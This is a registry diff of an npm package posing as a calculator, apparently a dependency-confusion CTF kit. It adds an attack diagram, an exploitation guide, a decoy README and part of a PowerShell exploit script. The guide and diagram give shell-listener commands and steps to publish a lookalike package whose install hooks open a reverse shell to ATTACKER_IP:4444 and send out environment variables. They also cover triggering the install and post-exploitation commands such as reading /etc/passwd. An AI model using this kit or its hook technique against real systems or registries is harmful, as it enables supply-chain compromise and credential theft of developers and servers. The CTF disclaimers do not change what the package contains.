node-calculator-x7k9 0.0.1-security → 3.2.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of node-calculator-x7k9 might be problematic. Click here for more details.
- package/ATTACK_DIAGRAM.txt +237 -0
- package/EXPLOITATION_GUIDE.md +236 -0
- package/README.md +32 -5
- package/exploit.ps1 +184 -0
- package/exploit.sh +91 -0
- package/index.js +23 -0
- package/listener.py +159 -0
- package/package.json +14 -6
- package/postinstall.js +55 -0
- package/preinstall.js +146 -0
- package/test-local.ps1 +127 -0
|
@@ -0,0 +1,237 @@
|
|
|
1
|
+
╔══════════════════════════════════════════════════════════════════════════════╗
|
|
2
|
+
║ DEPENDENCY CONFUSION ATTACK DIAGRAM ║
|
|
3
|
+
╚══════════════════════════════════════════════════════════════════════════════╝
|
|
4
|
+
|
|
5
|
+
|
|
6
|
+
┌─────────────────────┐
|
|
7
|
+
│ ATTACKER MACHINE │
|
|
8
|
+
│ (Your Computer) │
|
|
9
|
+
└──────────┬──────────┘
|
|
10
|
+
│
|
|
11
|
+
┌──────────▼──────────┐
|
|
12
|
+
│ 1. Create Malicious│
|
|
13
|
+
│ Package v3.0.0 │
|
|
14
|
+
│ - preinstall.js │
|
|
15
|
+
│ - postinstall.js │
|
|
16
|
+
│ - Reverse shell │
|
|
17
|
+
└──────────┬──────────┘
|
|
18
|
+
│
|
|
19
|
+
┌──────────▼──────────┐
|
|
20
|
+
│ 2. Start Listener │
|
|
21
|
+
│ python3 listener.py│
|
|
22
|
+
│ Port: 4444 │
|
|
23
|
+
└──────────┬──────────┘
|
|
24
|
+
│
|
|
25
|
+
┌──────────▼──────────┐
|
|
26
|
+
│ 3. Publish to npm │
|
|
27
|
+
│ node-calculator- │
|
|
28
|
+
│ x7k9@3.0.0 │
|
|
29
|
+
└──────────┬──────────┘
|
|
30
|
+
│
|
|
31
|
+
│ ████████████████████
|
|
32
|
+
│ ║ npm Registry ║
|
|
33
|
+
│ ║ (Public) ║
|
|
34
|
+
│ ████████████████████
|
|
35
|
+
│ │
|
|
36
|
+
│ │
|
|
37
|
+
┌────────────────────────────────────┼──────────▼──────────────────────┐
|
|
38
|
+
│ │ │
|
|
39
|
+
│ ┌────────────────────────┐ │ ┌──────────────────────┐ │
|
|
40
|
+
│ │ TARGET APPLICATION │ │ │ npm pulls package │ │
|
|
41
|
+
│ │ (Victim Server) │ │ │ v3.0.0 (higher!) │ │
|
|
42
|
+
│ │ │ │ └──────────┬───────────┘ │
|
|
43
|
+
│ │ node-calculator-x7k9 │ │ │ │
|
|
44
|
+
│ │ Current: v2.1.0 │ │ ┌──────────▼───────────┐ │
|
|
45
|
+
│ └────────────┬───────────┘ │ │ npm installs │ │
|
|
46
|
+
│ │ │ │ malicious package │ │
|
|
47
|
+
│ ┌────────────▼───────────┐ │ └──────────┬───────────┘ │
|
|
48
|
+
│ │ 4. Trigger Endpoint │◄───────┘ │ │
|
|
49
|
+
│ │ POST /report-bug │ ┌──────────▼───────────┐ │
|
|
50
|
+
│ └────────────┬───────────┘ │ preinstall.js │ │
|
|
51
|
+
│ │ │ executes! │ │
|
|
52
|
+
│ ┌────────────▼───────────┐ │ - Reverse shell │ │
|
|
53
|
+
│ │ npm run report │ │ - Connects to │ │
|
|
54
|
+
│ │ = npm update --force │ │ ATTACKER_IP:4444 │ │
|
|
55
|
+
│ └────────────┬───────────┘ └──────────┬───────────┘ │
|
|
56
|
+
│ │ │ │
|
|
57
|
+
│ └────────────────────────────────────────┘ │
|
|
58
|
+
│ │
|
|
59
|
+
└──────────────────────────────────┬───────────────────────────────────┘
|
|
60
|
+
│
|
|
61
|
+
│ Connection!
|
|
62
|
+
│
|
|
63
|
+
┌──────────▼──────────┐
|
|
64
|
+
│ 5. Shell Received! │
|
|
65
|
+
│ Attacker Listener │
|
|
66
|
+
│ │
|
|
67
|
+
│ $ id │
|
|
68
|
+
│ uid=1001(nodejs) │
|
|
69
|
+
│ │
|
|
70
|
+
│ $ cat /flag.txt │
|
|
71
|
+
│ FLAG{pwned!} │
|
|
72
|
+
└─────────────────────┘
|
|
73
|
+
|
|
74
|
+
|
|
75
|
+
╔══════════════════════════════════════════════════════════════════════════════╗
|
|
76
|
+
║ ATTACK TIMELINE ║
|
|
77
|
+
╚══════════════════════════════════════════════════════════════════════════════╝
|
|
78
|
+
|
|
79
|
+
T-0:00 │ Attacker configures payload (ATTACKER_IP, ATTACKER_PORT)
|
|
80
|
+
│
|
|
81
|
+
T+0:01 │ Attacker starts listener on port 4444
|
|
82
|
+
│
|
|
83
|
+
T+0:02 │ Attacker publishes malicious package (v3.0.0) to npm
|
|
84
|
+
│
|
|
85
|
+
├─────────────────────────────────────────────────────────────────
|
|
86
|
+
│
|
|
87
|
+
T+0:03 │ Attacker triggers /report-bug endpoint on target
|
|
88
|
+
│
|
|
89
|
+
T+0:04 │ Target executes: npm run report → npm update --force
|
|
90
|
+
│
|
|
91
|
+
T+0:05 │ npm queries registry for node-calculator-x7k9
|
|
92
|
+
│ └─ Finds v3.0.0 (higher than current v2.1.0)
|
|
93
|
+
│
|
|
94
|
+
T+0:06 │ npm downloads and installs v3.0.0
|
|
95
|
+
│ └─ Runs preinstall script (reverse shell payload)
|
|
96
|
+
│
|
|
97
|
+
T+0:07 │ Reverse shell executes
|
|
98
|
+
│ └─ Connects to ATTACKER_IP:4444
|
|
99
|
+
│
|
|
100
|
+
T+0:08 │ ✓ ATTACKER RECEIVES SHELL!
|
|
101
|
+
│ └─ Full control of target system
|
|
102
|
+
│
|
|
103
|
+
├─────────────────────────────────────────────────────────────────
|
|
104
|
+
│
|
|
105
|
+
T+0:09 │ Attacker searches for flag: find / -name "*flag*" 2>/dev/null
|
|
106
|
+
│
|
|
107
|
+
T+0:10 │ Attacker reads flag: cat /flag.txt
|
|
108
|
+
│
|
|
109
|
+
T+0:11 │ ✓ FLAG CAPTURED! CTF COMPLETE!
|
|
110
|
+
|
|
111
|
+
|
|
112
|
+
╔══════════════════════════════════════════════════════════════════════════════╗
|
|
113
|
+
║ KEY VULNERABILITY ║
|
|
114
|
+
╚══════════════════════════════════════════════════════════════════════════════╝
|
|
115
|
+
|
|
116
|
+
┌────────────────────────────────────────────────────────────────────────────┐
|
|
117
|
+
│ app.js (Lines 40-45) │
|
|
118
|
+
│ ───────────────────── │
|
|
119
|
+
│ │
|
|
120
|
+
│ app.post('/report-bug', (req, res) => { │
|
|
121
|
+
│ const { message } = req.body; │
|
|
122
|
+
│ exec("npm run report", { cwd: __dirname }, (error, stdout, stderr) │
|
|
123
|
+
│ │ => { │
|
|
124
|
+
│ │ res.json({ status: 'success', message: 'Bug reported' }); │
|
|
125
|
+
│ │ }); │
|
|
126
|
+
│ }); │
|
|
127
|
+
│ │
|
|
128
|
+
│ package.json (Line 8) │
|
|
129
|
+
│ ────────────────────── │
|
|
130
|
+
│ │
|
|
131
|
+
│ "scripts": { │
|
|
132
|
+
│ "report": "npm update --force || true" ← VULNERABLE! │
|
|
133
|
+
│ } │
|
|
134
|
+
│ │
|
|
135
|
+
│ Why it's vulnerable: │
|
|
136
|
+
│ • npm update checks public registry for newer versions │
|
|
137
|
+
│ • No registry pinning (.npmrc) │
|
|
138
|
+
│ • No package-lock.json integrity check │
|
|
139
|
+
│ • --force flag bypasses safety checks │
|
|
140
|
+
│ • Runs as the 'nodejs' user (uid=1001) │
|
|
141
|
+
│ • preinstall/postinstall hooks execute arbitrary code │
|
|
142
|
+
└────────────────────────────────────────────────────────────────────────────┘
|
|
143
|
+
|
|
144
|
+
|
|
145
|
+
╔══════════════════════════════════════════════════════════════════════════════╗
|
|
146
|
+
║ PAYLOAD MECHANISM ║
|
|
147
|
+
╚══════════════════════════════════════════════════════════════════════════════╝
|
|
148
|
+
|
|
149
|
+
┌────────────────────────────────────────────────────────────────────┐
|
|
150
|
+
│ package.json │
|
|
151
|
+
│ { │
|
|
152
|
+
│ "name": "node-calculator-x7k9", │
|
|
153
|
+
│ "version": "3.0.0", ← HIGHER than victim's 2.1.0 │
|
|
154
|
+
│ "scripts": { │
|
|
155
|
+
│ "preinstall": "node preinstall.js", ← Executes BEFORE │
|
|
156
|
+
│ "postinstall": "node postinstall.js" ← Executes AFTER │
|
|
157
|
+
│ } │
|
|
158
|
+
│ } │
|
|
159
|
+
└────────────────────────┬───────────────────────────────────────────┘
|
|
160
|
+
│
|
|
161
|
+
┌────────────────┴───────────────────┐
|
|
162
|
+
│ │
|
|
163
|
+
┌───────▼──────────┐ ┌─────────▼─────────┐
|
|
164
|
+
│ preinstall.js │ │ postinstall.js │
|
|
165
|
+
│ ────────────── │ │ ─────────────── │
|
|
166
|
+
│ │ │ │
|
|
167
|
+
│ 1. Reverse Shell│ │ 1. Backup Shell │
|
|
168
|
+
│ via net.Socket │ Connection │
|
|
169
|
+
│ │ │ │
|
|
170
|
+
│ 2. Fallback: │ │ 2. Persistence │
|
|
171
|
+
│ • nc -e │ │ Mechanisms │
|
|
172
|
+
│ • bash -i │ │ │
|
|
173
|
+
│ • python3 │ │ 3. Log to │
|
|
174
|
+
│ │ │ /tmp/exfil.log│
|
|
175
|
+
│ 3. Exfiltration │ │ │
|
|
176
|
+
│ • System info│ │ 4. Silent fail │
|
|
177
|
+
│ • Env vars │ │ if error │
|
|
178
|
+
│ • Hostname │ │ │
|
|
179
|
+
│ │ │ │
|
|
180
|
+
│ 4. Silent fail │ │ │
|
|
181
|
+
└──────────────────┘ └───────────────────┘
|
|
182
|
+
|
|
183
|
+
|
|
184
|
+
╔══════════════════════════════════════════════════════════════════════════════╗
|
|
185
|
+
║ DEFENSE MECHANISMS ║
|
|
186
|
+
║ (How to Prevent This Attack) ║
|
|
187
|
+
╚══════════════════════════════════════════════════════════════════════════════╝
|
|
188
|
+
|
|
189
|
+
✓ Use .npmrc with registry pinning
|
|
190
|
+
────────────────────────────────
|
|
191
|
+
@company:registry=https://private-registry.com
|
|
192
|
+
//private-registry.com/:_authToken=${NPM_TOKEN}
|
|
193
|
+
|
|
194
|
+
✓ Enable package-lock.json and use npm ci
|
|
195
|
+
────────────────────────────────────────
|
|
196
|
+
npm ci # Installs exact versions from lock file
|
|
197
|
+
|
|
198
|
+
✓ Scope your private packages
|
|
199
|
+
─────────────────────────────
|
|
200
|
+
@yourcompany/calculator # Can't be hijacked on public registry
|
|
201
|
+
|
|
202
|
+
✓ Use npm audit and integrity checks
|
|
203
|
+
───────────────────────────────────
|
|
204
|
+
npm audit
|
|
205
|
+
npm audit signatures
|
|
206
|
+
|
|
207
|
+
✓ Implement package verification
|
|
208
|
+
──────────────────────────────
|
|
209
|
+
- Code signing
|
|
210
|
+
- Checksum verification
|
|
211
|
+
- Allow-lists
|
|
212
|
+
|
|
213
|
+
✓ Use private registry with authentication
|
|
214
|
+
────────────────────────────────────────
|
|
215
|
+
- Verdaccio
|
|
216
|
+
- npm Enterprise
|
|
217
|
+
- Azure Artifacts
|
|
218
|
+
- GitHub Packages
|
|
219
|
+
|
|
220
|
+
|
|
221
|
+
╔══════════════════════════════════════════════════════════════════════════════╗
|
|
222
|
+
║ RESOURCES ║
|
|
223
|
+
╚══════════════════════════════════════════════════════════════════════════════╝
|
|
224
|
+
|
|
225
|
+
📖 Detailed Guide ──► EXPLOITATION_GUIDE.md
|
|
226
|
+
🚀 Quick Reference ─► QUICK_REFERENCE.md
|
|
227
|
+
📋 Full Summary ────► EXPLOITATION_SUMMARY.md
|
|
228
|
+
🐍 Listener ────────► listener.py
|
|
229
|
+
💻 Windows Exploit ─► exploit.ps1
|
|
230
|
+
🐧 Linux Exploit ───► exploit.sh
|
|
231
|
+
🧪 Local Testing ───► test-local.ps1
|
|
232
|
+
|
|
233
|
+
|
|
234
|
+
╔══════════════════════════════════════════════════════════════════════════════╗
|
|
235
|
+
║ ⚠️ FOR CTF / EDUCATIONAL USE ONLY - UNAUTHORIZED ACCESS IS ILLEGAL ⚠️ ║
|
|
236
|
+
╚══════════════════════════════════════════════════════════════════════════════╝
|
|
237
|
+
|
|
@@ -0,0 +1,236 @@
|
|
|
1
|
+
# Dependency Confusion Attack - Exploitation Guide
|
|
2
|
+
|
|
3
|
+
## Overview
|
|
4
|
+
|
|
5
|
+
This is a **dependency confusion vulnerability** where the target application uses a private npm package (`node-calculator-x7k9`). By publishing a malicious package with the same name and higher version to the public npm registry, we can execute arbitrary code when the target runs `npm update`.
|
|
6
|
+
|
|
7
|
+
## Attack Flow
|
|
8
|
+
|
|
9
|
+
```
|
|
10
|
+
1. Target uses node-calculator-x7k9@2.1.0 (private package)
|
|
11
|
+
2. Attacker publishes node-calculator-x7k9@3.0.0 (malicious, public)
|
|
12
|
+
3. Target triggers /report-bug endpoint
|
|
13
|
+
4. npm update --force runs
|
|
14
|
+
5. npm finds higher version (3.0.0) on public registry
|
|
15
|
+
6. npm installs malicious package
|
|
16
|
+
7. preinstall/postinstall hooks execute
|
|
17
|
+
8. Reverse shell connects back to attacker
|
|
18
|
+
```
|
|
19
|
+
|
|
20
|
+
## Prerequisites
|
|
21
|
+
|
|
22
|
+
1. **Your Attack Machine IP**: You need to know your public/accessible IP
|
|
23
|
+
2. **npm Account**: Required to publish packages to npm registry
|
|
24
|
+
3. **Network Access**: Target must be able to connect to your listener
|
|
25
|
+
|
|
26
|
+
## Step-by-Step Exploitation
|
|
27
|
+
|
|
28
|
+
### Step 1: Set Up Your Listener
|
|
29
|
+
|
|
30
|
+
On your attack machine:
|
|
31
|
+
|
|
32
|
+
```bash
|
|
33
|
+
# Option 1: Using netcat
|
|
34
|
+
nc -nlvp 4444
|
|
35
|
+
|
|
36
|
+
# Option 2: Using ncat (better for CTF)
|
|
37
|
+
ncat -nlvp 4444
|
|
38
|
+
|
|
39
|
+
# Option 3: Using socat (most stable)
|
|
40
|
+
socat TCP-LISTEN:4444,reuseaddr,fork EXEC:/bin/bash
|
|
41
|
+
|
|
42
|
+
# Option 4: Using Python
|
|
43
|
+
python3 -c 'import socket,subprocess;s=socket.socket();s.bind(("0.0.0.0",4444));s.listen(1);c,a=s.accept();subprocess.call(["/bin/sh"],stdin=c,stdout=c,stderr=c)'
|
|
44
|
+
```
|
|
45
|
+
|
|
46
|
+
### Step 2: Configure the Payload
|
|
47
|
+
|
|
48
|
+
Edit `preinstall.js` and `postinstall.js`:
|
|
49
|
+
|
|
50
|
+
```javascript
|
|
51
|
+
const ATTACKER_IP = 'YOUR_IP_HERE'; // Replace with your IP
|
|
52
|
+
const ATTACKER_PORT = 4444; // Replace with your port
|
|
53
|
+
```
|
|
54
|
+
|
|
55
|
+
**Getting Your IP:**
|
|
56
|
+
```bash
|
|
57
|
+
# Public IP
|
|
58
|
+
curl ifconfig.me
|
|
59
|
+
|
|
60
|
+
# Local network IP (for local CTF)
|
|
61
|
+
ip addr show # Linux
|
|
62
|
+
ipconfig # Windows
|
|
63
|
+
```
|
|
64
|
+
|
|
65
|
+
### Step 3: Publish the Malicious Package
|
|
66
|
+
|
|
67
|
+
```bash
|
|
68
|
+
cd malicious-package
|
|
69
|
+
|
|
70
|
+
# Login to npm (if not already logged in)
|
|
71
|
+
npm login
|
|
72
|
+
|
|
73
|
+
# Publish the package
|
|
74
|
+
npm publish
|
|
75
|
+
|
|
76
|
+
# If package name is already taken, you might need to use a scope
|
|
77
|
+
# npm publish --access public
|
|
78
|
+
```
|
|
79
|
+
|
|
80
|
+
**Important Notes:**
|
|
81
|
+
- Your package version (3.0.0) MUST be higher than the target's version (2.1.0)
|
|
82
|
+
- The package name MUST match exactly: `node-calculator-x7k9`
|
|
83
|
+
- In real CTF environments, they might have a mock npm registry
|
|
84
|
+
|
|
85
|
+
### Step 4: Alternative Publishing Methods
|
|
86
|
+
|
|
87
|
+
#### Option A: Use Verdaccio (Local npm Registry)
|
|
88
|
+
|
|
89
|
+
If the CTF uses a local npm registry:
|
|
90
|
+
|
|
91
|
+
```bash
|
|
92
|
+
# Install Verdaccio
|
|
93
|
+
npm install -g verdaccio
|
|
94
|
+
|
|
95
|
+
# Run Verdaccio
|
|
96
|
+
verdaccio
|
|
97
|
+
|
|
98
|
+
# Configure npm to use local registry
|
|
99
|
+
npm set registry http://localhost:4873/
|
|
100
|
+
|
|
101
|
+
# Publish
|
|
102
|
+
npm publish
|
|
103
|
+
```
|
|
104
|
+
|
|
105
|
+
#### Option B: Direct Package Installation (Testing)
|
|
106
|
+
|
|
107
|
+
For testing locally:
|
|
108
|
+
|
|
109
|
+
```bash
|
|
110
|
+
# In the target directory
|
|
111
|
+
npm install /path/to/malicious-package
|
|
112
|
+
|
|
113
|
+
# Or pack and install
|
|
114
|
+
cd malicious-package
|
|
115
|
+
npm pack
|
|
116
|
+
cd ../just-a-calculator
|
|
117
|
+
npm install ../malicious-package/node-calculator-x7k9-3.0.0.tgz
|
|
118
|
+
```
|
|
119
|
+
|
|
120
|
+
### Step 5: Trigger the Vulnerability
|
|
121
|
+
|
|
122
|
+
Once published, trigger the bug report endpoint:
|
|
123
|
+
|
|
124
|
+
```bash
|
|
125
|
+
# Using curl
|
|
126
|
+
curl -X POST http://TARGET_IP:3000/report-bug \
|
|
127
|
+
-H "Content-Type: application/json" \
|
|
128
|
+
-d '{"message": "test bug report"}'
|
|
129
|
+
|
|
130
|
+
# Using Python
|
|
131
|
+
python3 -c "import requests; requests.post('http://TARGET_IP:3000/report-bug', json={'message': 'test'})"
|
|
132
|
+
```
|
|
133
|
+
|
|
134
|
+
### Step 6: Catch the Shell
|
|
135
|
+
|
|
136
|
+
Your listener should receive a connection:
|
|
137
|
+
|
|
138
|
+
```bash
|
|
139
|
+
$ nc -nlvp 4444
|
|
140
|
+
Listening on 0.0.0.0 4444
|
|
141
|
+
Connection received on TARGET_IP 54321
|
|
142
|
+
=== Reverse Shell Connected ===
|
|
143
|
+
Hostname: target-container
|
|
144
|
+
User: nodejs
|
|
145
|
+
CWD: /app
|
|
146
|
+
================================
|
|
147
|
+
|
|
148
|
+
$ id
|
|
149
|
+
uid=1001(nodejs) gid=1001(nodejs) groups=1001(nodejs)
|
|
150
|
+
|
|
151
|
+
$ ls
|
|
152
|
+
app.js node_modules package.json public
|
|
153
|
+
|
|
154
|
+
$ cat /flag.txt
|
|
155
|
+
FLAG{dependency_confusion_pwned_12345}
|
|
156
|
+
```
|
|
157
|
+
|
|
158
|
+
## Post-Exploitation
|
|
159
|
+
|
|
160
|
+
Once you have a shell:
|
|
161
|
+
|
|
162
|
+
```bash
|
|
163
|
+
# Stabilize the shell
|
|
164
|
+
python3 -c 'import pty; pty.spawn("/bin/bash")'
|
|
165
|
+
# Press Ctrl+Z
|
|
166
|
+
stty raw -echo; fg
|
|
167
|
+
export TERM=xterm
|
|
168
|
+
|
|
169
|
+
# Find the flag
|
|
170
|
+
find / -name "*flag*" 2>/dev/null
|
|
171
|
+
cat /flag.txt
|
|
172
|
+
|
|
173
|
+
# Exfiltrate data
|
|
174
|
+
cat /etc/passwd
|
|
175
|
+
env
|
|
176
|
+
ps aux
|
|
177
|
+
|
|
178
|
+
# Check for other containers
|
|
179
|
+
ip addr
|
|
180
|
+
netstat -ant
|
|
181
|
+
```
|
|
182
|
+
|
|
183
|
+
## Troubleshooting
|
|
184
|
+
|
|
185
|
+
### Shell Not Connecting?
|
|
186
|
+
|
|
187
|
+
1. **Check firewall**: Make sure port 4444 is open
|
|
188
|
+
```bash
|
|
189
|
+
sudo ufw allow 4444
|
|
190
|
+
# or
|
|
191
|
+
sudo iptables -I INPUT -p tcp --dport 4444 -j ACCEPT
|
|
192
|
+
```
|
|
193
|
+
|
|
194
|
+
2. **Check if package installed**: Look at the /report-bug response
|
|
195
|
+
```bash
|
|
196
|
+
curl -X POST http://TARGET:3000/report-bug -H "Content-Type: application/json" -d '{"message":"test"}' -v
|
|
197
|
+
```
|
|
198
|
+
|
|
199
|
+
3. **Check logs**: The payload logs to `/tmp/exfil.log`
|
|
200
|
+
|
|
201
|
+
4. **Try different payload**: The preinstall.js has multiple fallback methods
|
|
202
|
+
|
|
203
|
+
### Package Not Installing?
|
|
204
|
+
|
|
205
|
+
1. **Version not higher**: Make sure your version (3.0.0) > target version (2.1.0)
|
|
206
|
+
2. **Registry misconfigured**: Check if target uses private registry
|
|
207
|
+
3. **Package name mismatch**: Must be exactly `node-calculator-x7k9`
|
|
208
|
+
|
|
209
|
+
## Defense Against This Attack
|
|
210
|
+
|
|
211
|
+
For educational purposes, here's how to prevent this:
|
|
212
|
+
|
|
213
|
+
1. **Use .npmrc with registry lockdown**:
|
|
214
|
+
```
|
|
215
|
+
@yourcompany:registry=https://your-private-registry.com
|
|
216
|
+
```
|
|
217
|
+
|
|
218
|
+
2. **Use package-lock.json**: Prevents version changes
|
|
219
|
+
3. **Use npm audit**: Detects suspicious packages
|
|
220
|
+
4. **Implement integrity checks**: Use `npm ci` instead of `npm install`
|
|
221
|
+
5. **Private registry with authentication**: Use Verdaccio, Artifactory, or npm Enterprise
|
|
222
|
+
|
|
223
|
+
## Legal Notice
|
|
224
|
+
|
|
225
|
+
⚠️ **This is for CTF/educational purposes only!**
|
|
226
|
+
|
|
227
|
+
Unauthorized access to computer systems is illegal. Only use these techniques:
|
|
228
|
+
- In authorized CTF competitions
|
|
229
|
+
- In your own testing environments
|
|
230
|
+
- With explicit written permission
|
|
231
|
+
|
|
232
|
+
## Credits
|
|
233
|
+
|
|
234
|
+
Attack technique: Dependency Confusion (Alex Birsan, 2021)
|
|
235
|
+
https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610
|
|
236
|
+
|
package/README.md
CHANGED
|
@@ -1,5 +1,32 @@
|
|
|
1
|
-
#
|
|
2
|
-
|
|
3
|
-
|
|
4
|
-
|
|
5
|
-
|
|
1
|
+
# node-calculator-x7k9
|
|
2
|
+
|
|
3
|
+
Simple calculator plugin with enhanced mathematical operations.
|
|
4
|
+
|
|
5
|
+
## Installation
|
|
6
|
+
|
|
7
|
+
```bash
|
|
8
|
+
npm install node-calculator-x7k9
|
|
9
|
+
```
|
|
10
|
+
|
|
11
|
+
## Usage
|
|
12
|
+
|
|
13
|
+
```javascript
|
|
14
|
+
const calculator = require('node-calculator-x7k9');
|
|
15
|
+
|
|
16
|
+
const result = calculator.calculate('add', 5, 3);
|
|
17
|
+
console.log(result); // 8
|
|
18
|
+
```
|
|
19
|
+
|
|
20
|
+
## Supported Operations
|
|
21
|
+
|
|
22
|
+
- `add` - Addition
|
|
23
|
+
- `subtract` - Subtraction
|
|
24
|
+
- `multiply` - Multiplication
|
|
25
|
+
- `divide` - Division
|
|
26
|
+
|
|
27
|
+
## Version 3.0.0
|
|
28
|
+
|
|
29
|
+
- Enhanced performance
|
|
30
|
+
- Bug fixes
|
|
31
|
+
- Security improvements
|
|
32
|
+
|
package/exploit.ps1
ADDED
|
@@ -0,0 +1,184 @@
|
|
|
1
|
+
# PowerShell Exploitation Script for Dependency Confusion CTF
|
|
2
|
+
# Usage: .\exploit.ps1 -TargetIP "localhost:3000" -AttackerIP "10.10.10.10" -AttackerPort 4444
|
|
3
|
+
|
|
4
|
+
param(
|
|
5
|
+
[string]$TargetIP = "localhost:3000",
|
|
6
|
+
[string]$AttackerIP = "10.10.10.10",
|
|
7
|
+
[int]$AttackerPort = 4444
|
|
8
|
+
)
|
|
9
|
+
|
|
10
|
+
Write-Host "╔═══════════════════════════════════════════════════════════════╗" -ForegroundColor Cyan
|
|
11
|
+
Write-Host "║ Dependency Confusion Attack - Automated Exploit ║" -ForegroundColor Cyan
|
|
12
|
+
Write-Host "╚═══════════════════════════════════════════════════════════════╝" -ForegroundColor Cyan
|
|
13
|
+
Write-Host ""
|
|
14
|
+
Write-Host "[*] Target: $TargetIP" -ForegroundColor Yellow
|
|
15
|
+
Write-Host "[*] Attacker IP: $AttackerIP" -ForegroundColor Yellow
|
|
16
|
+
Write-Host "[*] Attacker Port: $AttackerPort" -ForegroundColor Yellow
|
|
17
|
+
Write-Host ""
|
|
18
|
+
|
|
19
|
+
# Step 1: Update payload configuration
|
|
20
|
+
Write-Host "[+] Configuring payload..." -ForegroundColor Green
|
|
21
|
+
|
|
22
|
+
$preinstallPath = "preinstall.js"
|
|
23
|
+
$postinstallPath = "postinstall.js"
|
|
24
|
+
|
|
25
|
+
if (Test-Path $preinstallPath) {
|
|
26
|
+
$preinstallContent = Get-Content $preinstallPath -Raw
|
|
27
|
+
$preinstallContent = $preinstallContent -replace "const ATTACKER_IP = '.*?';", "const ATTACKER_IP = '$AttackerIP';"
|
|
28
|
+
$preinstallContent = $preinstallContent -replace "const ATTACKER_PORT = \d+;", "const ATTACKER_PORT = $AttackerPort;"
|
|
29
|
+
Set-Content $preinstallPath -Value $preinstallContent
|
|
30
|
+
Write-Host " [✓] Updated preinstall.js" -ForegroundColor Green
|
|
31
|
+
} else {
|
|
32
|
+
Write-Host " [!] preinstall.js not found" -ForegroundColor Red
|
|
33
|
+
}
|
|
34
|
+
|
|
35
|
+
if (Test-Path $postinstallPath) {
|
|
36
|
+
$postinstallContent = Get-Content $postinstallPath -Raw
|
|
37
|
+
$postinstallContent = $postinstallContent -replace "const ATTACKER_IP = '.*?';", "const ATTACKER_IP = '$AttackerIP';"
|
|
38
|
+
$postinstallContent = $postinstallContent -replace "const ATTACKER_PORT = \d+;", "const ATTACKER_PORT = $AttackerPort;"
|
|
39
|
+
Set-Content $postinstallPath -Value $postinstallContent
|
|
40
|
+
Write-Host " [✓] Updated postinstall.js" -ForegroundColor Green
|
|
41
|
+
} else {
|
|
42
|
+
Write-Host " [!] postinstall.js not found" -ForegroundColor Red
|
|
43
|
+
}
|
|
44
|
+
|
|
45
|
+
# Step 2: Start listener
|
|
46
|
+
Write-Host "[+] Starting listener on port $AttackerPort..." -ForegroundColor Green
|
|
47
|
+
|
|
48
|
+
# Start Python listener if available
|
|
49
|
+
if (Get-Command python3 -ErrorAction SilentlyContinue) {
|
|
50
|
+
$listenerJob = Start-Job -ScriptBlock {
|
|
51
|
+
param($port)
|
|
52
|
+
python3 listener.py $port
|
|
53
|
+
} -ArgumentList $AttackerPort
|
|
54
|
+
Write-Host " [✓] Python listener started (Job ID: $($listenerJob.Id))" -ForegroundColor Green
|
|
55
|
+
} elseif (Get-Command python -ErrorAction SilentlyContinue) {
|
|
56
|
+
$listenerJob = Start-Job -ScriptBlock {
|
|
57
|
+
param($port)
|
|
58
|
+
python listener.py $port
|
|
59
|
+
} -ArgumentList $AttackerPort
|
|
60
|
+
Write-Host " [✓] Python listener started (Job ID: $($listenerJob.Id))" -ForegroundColor Green
|
|
61
|
+
} else {
|
|
62
|
+
Write-Host " [!] Python not found, starting PowerShell listener..." -ForegroundColor Yellow
|
|
63
|
+
|
|
64
|
+
# PowerShell TCP Listener
|
|
65
|
+
$listenerJob = Start-Job -ScriptBlock {
|
|
66
|
+
param($port)
|
|
67
|
+
$listener = [System.Net.Sockets.TcpListener]::new([System.Net.IPAddress]::Any, $port)
|
|
68
|
+
$listener.Start()
|
|
69
|
+
Write-Host "Listening on port $port..." -ForegroundColor Green
|
|
70
|
+
|
|
71
|
+
$client = $listener.AcceptTcpClient()
|
|
72
|
+
$stream = $client.GetStream()
|
|
73
|
+
$reader = [System.IO.StreamReader]::new($stream)
|
|
74
|
+
$writer = [System.IO.StreamWriter]::new($stream)
|
|
75
|
+
$writer.AutoFlush = $true
|
|
76
|
+
|
|
77
|
+
Write-Host "Connection received!" -ForegroundColor Green
|
|
78
|
+
$writer.WriteLine("=== Reverse Shell Connected ===")
|
|
79
|
+
|
|
80
|
+
while ($client.Connected) {
|
|
81
|
+
try {
|
|
82
|
+
$line = $reader.ReadLine()
|
|
83
|
+
if ($line) {
|
|
84
|
+
Write-Host $line
|
|
85
|
+
}
|
|
86
|
+
} catch {
|
|
87
|
+
break
|
|
88
|
+
}
|
|
89
|
+
}
|
|
90
|
+
|
|
91
|
+
$client.Close()
|
|
92
|
+
$listener.Stop()
|
|
93
|
+
} -ArgumentList $AttackerPort
|
|
94
|
+
Write-Host " [✓] PowerShell listener started (Job ID: $($listenerJob.Id))" -ForegroundColor Green
|
|
95
|
+
}
|
|
96
|
+
|
|
97
|
+
Start-Sleep -Seconds 2
|
|
98
|
+
|
|
99
|
+
# Step 3: Package publishing instructions
|
|
100
|
+
Write-Host "[+] Package publishing..." -ForegroundColor Green
|
|
101
|
+
if (Get-Command npm -ErrorAction SilentlyContinue) {
|
|
102
|
+
Write-Host " [*] Checking npm login status..." -ForegroundColor Yellow
|
|
103
|
+
|
|
104
|
+
$npmUser = npm whoami 2>$null
|
|
105
|
+
if ($LASTEXITCODE -eq 0) {
|
|
106
|
+
Write-Host " [✓] Logged in as: $npmUser" -ForegroundColor Green
|
|
107
|
+
Write-Host " [!] Ready to publish. Run manually if needed:" -ForegroundColor Yellow
|
|
108
|
+
Write-Host " cd malicious-package" -ForegroundColor Gray
|
|
109
|
+
Write-Host " npm publish" -ForegroundColor Gray
|
|
110
|
+
} else {
|
|
111
|
+
Write-Host " [!] Not logged in to npm" -ForegroundColor Red
|
|
112
|
+
Write-Host " [!] Run: npm login" -ForegroundColor Yellow
|
|
113
|
+
Write-Host " [!] Then: cd malicious-package && npm publish" -ForegroundColor Yellow
|
|
114
|
+
}
|
|
115
|
+
} else {
|
|
116
|
+
Write-Host " [!] npm not found" -ForegroundColor Red
|
|
117
|
+
}
|
|
118
|
+
|
|
119
|
+
# Step 4: Trigger vulnerability
|
|
120
|
+
Write-Host ""
|
|
121
|
+
Write-Host "[+] Waiting 5 seconds before triggering..." -ForegroundColor Green
|
|
122
|
+
Start-Sleep -Seconds 5
|
|
123
|
+
|
|
124
|
+
Write-Host "[+] Triggering vulnerability via /report-bug endpoint..." -ForegroundColor Green
|
